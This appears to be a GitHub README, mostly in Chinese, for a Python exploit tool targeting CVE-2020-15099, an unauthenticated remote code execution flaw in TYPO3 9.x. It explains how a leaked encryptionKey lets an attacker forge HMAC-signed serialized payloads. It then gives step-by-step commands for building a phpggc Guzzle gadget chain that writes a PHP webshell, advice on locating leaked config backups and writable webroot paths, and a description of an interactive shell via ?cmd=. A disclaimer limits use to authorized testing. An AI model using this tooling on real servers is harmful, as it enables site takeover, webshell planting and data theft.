StillSoul/CVE-2020-15099

GitHub: StillSoul/CVE-2020-15099

针对 TYPO3 9.0.0-9.5.19 版本 Form Framework 的未认证远程代码执行漏洞利用工具,需配合泄露的 encryptionKey 实现 PHP 反序列化攻击。

Stars: 0 | Forks: 0

# TYPO3 CVE-2020-15099 — 未认证 RCE 通过 TYPO3 Form Framework 前端控制器进行 PHP Object Injection,在已知 `encryptionKey` 的情况下可利用。 ## 漏洞详情 TYPO3 版本 **9.0.0 – 9.5.19(在 9.5.20 中修复)** 在验证 HMAC 签名后,将通过用户控制的 `__state` 参数传递给 `unserialize()`。由于 HMAC 是使用 `LocalConfiguration.php` 中的 `encryptionKey` 计算的,因此获取该密钥的攻击者可以为任意序列化 payload 伪造有效签名并实现远程代码执行 —— **无需任何认证**。 漏洞代码路径位于 `FormRuntime.php`: ``` $serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac); $this->formState = unserialize(base64_decode($serializedFormState)); ``` 该漏洞利用 **Guzzle/FW1** gadget 链(可在 [phpggc](https://github.com/ambionics/phpggc) 中找到)将 PHP webshell 写入公开可访问的目录。 **参考:** [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007) · [Synacktiv write-up](https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution) ## 环境要求 | 要求 | 备注 | |---|---| | Python 3.10+ | 使用 `str \| None` 联合语法 | | `requests` 库 | `pip install requests` | | [phpggc](https://github.com/ambionics/phpggc) | Gadget chain 生成器 | | Docker 及 `php:7.2-cli` 镜像 | 正确的 payload 序列化格式所需 | | TYPO3 `encryptionKey` | 通过 `LocalConfiguration.php` 或备份/`.old` 文件泄露 | | 一个 TYPO3 前端表单 | 任何使用 Form Framework 的未认证表单 | ## 安装 ``` # 克隆此仓库 git clone https://github.com/youruser/CVE-2020-15099 cd CVE-2020-15099 # 安装 Python 依赖 pip install requests # 克隆 phpggc git clone https://github.com/ambionics/phpggc # 拉取 PHP 7.2 Docker 镜像 sudo docker pull php:7.2-cli ``` ## 用法 ``` python3 typo3_exploit.py [options] Required: --target Base URL of the TYPO3 instance (e.g. http://target.com) --key TYPO3 encryptionKey (96-char hex string) --form-id Page ID of the page containing form (e.g. 38) --form-name Form identifier attribute (e.g. contactForm-144) --phpggc-dir Path to phpggc directory (e.g. ./phpggc) --remote-path Absolute server path for the shell (e.g. /var/www/html/public/fileadmin/_temp_/shell.php) --shell-url Public URL to access the shell (e.g. http://target.com/fileadmin/_temp_/shell.php) Optional: --shell-local Local temp path for shell file (default: /tmp/typo3_shell.php) --no-docker Use local PHP binary instead of Docker --php-bin Path to PHP 7.2 binary (default: php, used with --no-docker) --timeout HTTP request timeout in seconds (default: 30) --sleep Wait time after exploit before check (default: 3) --no-shell Exit after uploading, skip interactive session ``` ### 示例 ``` python3 typo3_exploit.py \ --target http://target.com \ --key 712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c0b \ --form-id 38 \ --form-name contactForm-144 \ --phpggc-dir ./phpggc \ --remote-path /var/www/html/public/fileadmin/_temp_/shell.php \ --shell-url http://target.com/fileadmin/_temp_/shell.php ``` ### 使用本地 PHP 7.2 二进制文件代替 Docker ``` python3 typo3_exploit.py \ --target http://target.com \ --key \ --form-id 38 \ --form-name contactForm-144 \ --phpggc-dir ./phpggc \ --remote-path /var/www/html/public/fileadmin/_temp_/shell.php \ --shell-url http://target.com/fileadmin/_temp_/shell.php \ --no-docker \ --php-bin /usr/bin/php7.2 ``` ## 工作原理 ``` 1. Fetch the form page → Extract fresh cHash (required by TYPO3 for cache validation) → Extract __trustedProperties (prevents BadRequestException) 2. Generate the gadget chain payload → phpggc Guzzle/FW1 writes the shell to --remote-path on the server → Must be generated with PHP 7.2 (Docker used by default) 3. Sign the payload → TYPO3 uses hash_hmac('sha1', payload, encryptionKey) → Appended as a 40-character hex suffix 4. POST the payload → Sent as tx_form_formframework[
][__state] → Server validates HMAC, then calls unserialize() → Guzzle's __destruct() triggers and writes the shell file → HTTP 500 response is expected and normal 5. Verify and interact → Shell is accessed via GET ?cmd= → Interactive session is started ``` ## 查找所需参数 ### `--key` — encryptionKey 查找暴露的配置文件: ``` /typo3conf/LocalConfiguration.php ← main config (usually protected) /typo3conf/LocalConfiguration.old ← backup, sometimes world-readable /typo3conf/LocalConfiguration.bak ``` 该密钥是一个 96 字符的十六进制字符串: ``` 'encryptionKey' => '712dd4d9c583482940b7...', ``` ### `--form-id` — Page ID 浏览 TYPO3 前端并找到包含 Form Framework 表单的页面。页面 ID 位于 URL 中: ``` http://target.com/index.php?id=38 ``` ### `--form-name` — Form identifier 查看页面源代码并搜索 `tx_form_formframework`: ``` ``` 表单名称为 `contactForm-144`。 ### `--remote-path` — 服务器端写入路径 该路径必须: - 可被 Web 服务器进程写入 - 位于 Web 根目录内(以便通过 HTTP 访问 shell) 常见的可写 TYPO3 目录: ``` /var/www/html/public/fileadmin/_temp_/ /var/www/html/public/fileadmin/user_upload/ /var/www/html/public/typo3temp/ ``` 如果您不确定服务器的文档根目录,可以在运行漏洞利用之前在 shell 中嵌入路径探测 payload: ``` ``` ## 故障排除 | 现象 | 可能原因 | 修复方法 | |---|---|---| | 漏洞利用后未找到 Shell | `--remote-path` 错误 | 尝试其他常见路径 | | 漏洞利用后未找到 Shell | PHP 版本不匹配 | 确保使用 Docker 或使用 PHP 7.2 | | HMAC 验证错误(500 且无写入) | `--key` 错误 | 仔细检查 encryptionKey | | phpggc 失败 | phpggc 中的 gadget chains 不兼容 | 删除非 Guzzle 链:`find phpggc/gadgetchains -mindepth 1 -maxdepth 1 -type d ! -name Guzzle -exec rm -rf {} +` | | Docker 权限被拒绝 | Docker 需要 sudo | 使用 `sudo` 运行或将用户添加到 `docker` 组 | | cHash not found | 表单页面需要认证或 URL 不同 | 手动检查页面 | ## 免责声明 本工具仅供**授权安全测试和教育目的**使用。 仅对您拥有或获得明确书面许可测试的系统使用。 作者不对因使用本工具而造成的任何滥用或损害负责。 ## 参考 - [TYPO3 Security Advisory TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007) - [Synacktiv — TYPO3: Leak to Remote Code Execution](https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution) - [phpggc — PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) - [CVE-2020-15099](https://nvd.nist.gov/vuln/detail/CVE-2020-15099)
标签:CISA项目, CMS漏洞, CVE-2020-15099, DNS 反向解析, Guzzle反序列化链, HMAC签名绕过, phpggc, PHP对象注入, PoC, Python, RCE, TYPO3, Webshell, 免认证攻击, 反序列化漏洞, 无后门, 暴力破解, 漏洞复现, 编程工具, 网络安全, 请求拦截, 远程代码执行, 隐私保护